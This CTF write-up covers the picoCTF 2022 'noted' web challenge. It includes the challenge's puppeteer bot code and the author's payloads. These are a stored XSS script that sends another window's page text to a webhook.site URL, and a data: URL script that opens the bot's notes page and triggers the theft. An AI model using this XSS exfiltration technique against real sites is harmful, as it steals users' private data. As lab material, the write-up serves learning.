Tags: web xss noted

Rating: 5.0

-----

**Description:** I made a nice web app that lets you take notes. I'm pretty sure I've followed all the best practices so its definitely secure right?

**Points:** 500

#### **Solution**

This was a challenging one. A little bit.

**Hint 1:** Are you sure I followed all the best practices?

**Hint 2:** There's more than just HTTP(S)!

**Hint 3:** Things that require user interaction normally in Chrome might not require it in Headless Chrome.

After browsing the site for few minutes, I realised that you can inject html code while creating new notes.

The source code was available to download. Let's look at what's going on in the backend. web.js has all the endpoints and the server is run internally on localhost:8080. However the most interesting part is report.js which handles the /report endpoint. Let's look at its code.

javascript
async function run(url) {
let browser;

try {
module.exports.open = true;
browser = await puppeteer.launch({
pipe: true,
args: ['--incognito', '--no-sandbox', '--disable-setuid-sandbox'],
slowMo: 10
});

let page = (await browser.pages())[0]

await page.goto('http://0.0.0.0:8080/register');

await Promise.all([
page.click('[type="submit"]'),
]);

await page.goto('http://0.0.0.0:8080/new');
await page.type('[name="title"]', 'flag');
await page.type('[name="content"]', process.env.flag ?? 'ctf{flag}');

await Promise.all([
page.click('[type="submit"]'),
]);

await page.goto(url);
await page.waitForTimeout(7500);

await browser.close();
} catch(e) {
console.error(e);
try { await browser.close() } catch(e) {}
}

module.exports.open = false;
}


Couple of things to notice here:

* It's a puppeteer bot
* It is a headless, no-sandbox chromium browser (it's infamous of lax security)
* The bot creates a new account with completely random username and password. Creates a new note with content as process.env.flag i. e the flag.
* The bot in the end opens the url we provide on the /reports page.

The ideal plan would be to read the contents of "My notes" of the bot account which includes the flag. I had several ideas like use fetch API to login to a test account and create a note with contents from the bot account but the csrf library used was making it very tricky to do that.

After some manual testing I figured that you can access internet through the puppeteer bot (even though they said we couldn't? wth?)

Now this opens a lot of possibilities. I can make a get request containing the "My Notes" contents as an argument. So, here's my plan:

So, my plan is simple. I will create an account on main servers with credentials a:a.

Then, I will created a script that will access webhook.site url with body contents of a particular window named "pwn" (This will be created later). Let's have a look at the script.

javascript
<script>
if (window.location.search.includes('pwn'))
window.location = 'https://webhook.site/a5591c91-8eec-4366-9388-e231484f01b5?' + window.open('', 'pwn').document.body.textContent
</script>


I added a clause to check for ?pwn in the url because without it the website was crashing since it was redirecting every time you accessed notes. Now, let's go ahead and plant it.

Now, it is time for the main script. The one that goes into the /report page, into the url field.

Here I want to do three things inside puppeteer in a sequence.

1. Open a new window named "pwn" with url http://localhost/notes. This will open the "My notes" page as bot account. Which has the flag.
2. Login in to our test account with credentials a:a\
3. Go to /notes?pwn after logging in which will capture the contents of "pwn" window automatically due to xss.

That's it. That should do it. Now let's have a look at the code.

html
data:text/html,
</form>
<script>
window.open('http://localhost:8080/notes', 'pwn');
setTimeout(pwn.submit(), 1000);
setTimeout(window.location='http://localhost:8080/notes?pwn', 1500);
</script>


data:text/html tells chrome that the contents are html. Next, we create a form with action as the local login page and pre-enter the credentials as values in the input fields. Next we execute our sequence inside a script tag. We open a window named "pwn" with notes url (This has our flag in body). Then we wait 1 second and submit our login form. Note, the target: _blank is important because we want to use new window to do the login. If we do it in the current tab then our script wont execute further because you would be reddirected. After we are logged in as "a:a" we then open /notes?pwn after 1.5 seconds which will trigger our XSS and steal the contents from the "pwn" tag which still has body from the bot account (and the flag).

We'll go ahead and first get this script in one line and then enter it into the "url" section of /report`.

Now we wait for 2.5 seconds :relaxed:

See flag [here](https://docs.abbasmj.com/ctf-writeups/picoctf-2022#noted)

Original writeup (https://docs.abbasmj.com/ctf-writeups/picoctf-2022#noted).